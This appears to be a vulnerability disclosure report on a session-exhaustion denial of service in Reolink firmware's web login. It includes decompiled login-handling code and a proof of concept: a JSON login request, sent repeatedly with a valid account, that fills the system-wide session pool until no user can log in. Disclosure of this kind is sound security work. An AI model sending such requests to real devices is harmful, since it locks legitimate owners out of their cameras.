Vulnerability title: ISystem-wide Login Denial Due to Session Resource Exhaustion (DoS)
Date of discovery: 2025.07.05
Discovery Location (URL or System Path) :
Reolink Firmware Web ( Cmd
→ Login
)
Vulnerability Type (CWE ID):
Vulnerability Description:
The system manages user sessions system-wide rather than on an account-by-account basis, and refuses to log in to all accounts if the session count is exceeded. This can result in global denial of service (DoS) with just a simple repeat request without the need to bypass authentication.
Impacted Products/Services: Reolink Firmware Web
Product version: firmware v3.0.0.4662_2503122283
Vulnerable Components:
Authentication/Session Management Logic
Attack Vector
undefined4 FUN_000798f0(undefined4 param_1,int param_2)
{
int iVar1;
undefined4 uVar2;
char *pcVar3;
undefined4 *__s;
int local_24 [2];
__s = *(undefined4 **)(param_2 + 0xa8);
memset(__s,0,0x1fc);
local_24[0] = 0;
iVar1 = FUN_00066068(param_1,"Version",local_24);
if ((iVar1 != 0) || (local_24[0] != 1)) {
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0xb5);
FUN_00065dc0(0,3,&DAT_000f06f3);
*__s = 0;
iVar1 = FUN_000c8f48(param_1,"User");
if (iVar1 == 0) goto LAB_00079c3c;
FUN_000c9bd4(param_1,"User");
iVar1 = FUN_000c8824();
if (iVar1 == 0) {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgi server/../../modules/cgiserver/src/cgi_security.cpp"
,0xcb);
pcVar3 = "cgi_login_j2s\\tfailed!";
}
else {
uVar2 = FUN_000c9bd4(param_1,"User");
iVar1 = FUN_00066574(uVar2,"userName",__s + 1,0x20);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"User");
iVar1 = FUN_00066574(uVar2,"password",__s + 9,0x20);
if (iVar1 != -0x16) goto LAB_00079c3c;
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/c giserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xc4);
pcVar3 = "cgi_login_j2s get passward failed!";
}
else {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/c giserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xbd);
pcVar3 = "cgi_login_j2s get username failed!";
}
}
goto LAB_00079b2c;
}
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgiserv er/../../modules/cgiserver/src/cgi_security.cpp"
,0x61);
FUN_00065dc0(0,3,"######## 1");
*__s = 1;
iVar1 = FUN_000c8f48(param_1,"Digest");
if (iVar1 == 0) {
LAB_00079c3c:
FUN_00065dc0(1,2,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0xd2);
FUN_00065dc0(0,2,"cgi_login_j2s ok, user=%s, password=%s,len = %d",__s + 1,__s + 9,
*(undefined4 *)(param_2 + 0xa4));
return 0;
}
FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_000c8824();
if (iVar1 == 0) goto LAB_00079c3c;
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"UserName",*(undefined4 *)(*(int *)(param_2 + 0xc4) + 0x28c),0x20);
if (iVar1 != 0) {
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgise rver/../../modules/cgiserver/src/cgi_security.cpp"
,0x69);
pcVar3 = "cgi_login_j2s get username failed!";
goto LAB_00079b2c;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Realm",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x20);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Nonce",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x60);
if (iVar1 != 0) {
uVar2 = 0x77;
LAB_00079b78:
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgi server/../../modules/cgiserver/src/cgi_security.cpp"
,uVar2);
pcVar3 = "cgi_login_j2s get realm failed!";
goto LAB_00079b2c;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f065e,*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0xa0);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Cnonce",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0xe0);
if (iVar1 != 0) {
uVar2 = 0x85;
goto LAB_00079b78;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Response",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x120);
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,"Method",*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x160,0x10)
;
if (iVar1 == 0) {
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f0679,
*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x170,0x10);
if (iVar1 != 0) {
uVar2 = 0x9a;
goto LAB_00079b78;
}
uVar2 = FUN_000c9bd4(param_1,"Digest");
iVar1 = FUN_00066574(uVar2,&DAT_000f067c,
*(int *)(*(int *)(param_2 + 0xc4) + 0x28c) + 0x180);
if (iVar1 == 0) {
FUN_00065dc0(1,3,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/e xe/cgiserver/../../modules/cgiserver/src/cgi_security.cpp"
,0xaf);
iVar1 = *(int *)(*(int *)(param_2 + 0xc4) + 0x28c);
FUN_00065dc0(0,3,
"digest info--->user_name: %s, realm: %s,nonce: %s, uri: %s, cnonce: %s, re sponse: %s, method: %s, nc: %s, qop: %s "
,iVar1,iVar1 + 0x20,iVar1 + 0x60,iVar1 + 0xa0,iVar1 + 0xe0,iVar1 + 0x120,
iVar1 + 0x160,iVar1 + 0x170,iVar1 + 0x180);
goto LAB_00079c3c;
}
uVar2 = 0xa1;
}
else {
uVar2 = 0x93;
}
}
else {
uVar2 = 0x8c;
}
}
else {
uVar2 = 0x7e;
}
}
else {
uVar2 = 0x70;
}
FUN_00065dc0(1,0,"[%s,%d]",
"/home/xd/version_release/DB_V3/2025.03.12_black/ipc_20220214_V17/product/exe/cgiserv er/../../modules/cgiserver/src/cgi_security.cpp"
,uVar2);
pcVar3 = "cgi_login_j2s get realm failed!";
LAB_00079b2c:
FUN_00065dc0(0,0,pcVar3);
*(undefined4 *)(param_2 + 0x18) = 0xfffffffc;
return 0xffffffff;
}
The code above code is the code that receives input value. At this time, you see some of the following code:
iVar1 = FUN_00066068(param_1,"Version",local_24);
if ((iVar1 != 0) || (local_24[0] != 1)) {
// If "Version" is not 1 or missing, process as a standard login
}
else {
// If "Version" is 1, process as a digest authentication login
}
According to this code, if Version
is not 1 in the http request value, receive 'Id
' and password
values to process login, and if Version
is 1, digest authentication processing is performed. That is, there are two login requests. If you intercept the login request with a burp suite, you can verify that the original version is 1
[
{
"cmd": "Login",
"action": 0,
"param": {
"Version": 1
}
}
]
This request uses digest authentication because the value of Version
is 1
. However, you can change the above request as follows to send the login request normally.
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "admin",
"password": "1Q2w3e4r!"
}
}
}
]
If you send a login request to the server with the correct ID and password as above, the server returns the session token normally.
Attackers with authenticated user privileges can repeatedly send these normal login requests, depleting session resources across the system
Reproduction Steps
Send the following JSON login request repeatedly:
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "guest",
"password": "1Q2w3e4r!"
}
}
}
]
After a certain number of successful sessions, the server responds with the following error:
[
{
"cmd": "Login",
"code": 1,
"error": {
"detail": "max session",
"rspCode": -5
}
}
]
From this point on, all users
are unable to log in until session resources are released.
POC
[
{
"cmd": "Login",
"action": 0,
"param": {
"User": {
"userName": "guest",
"password": "1Q2w3e4r!"
}
}
}
]
Confidentiality Impact: None
Integrity Impact: None
Availability Impact: Parital
CVSS Score: 3.5
Severity Rating: Low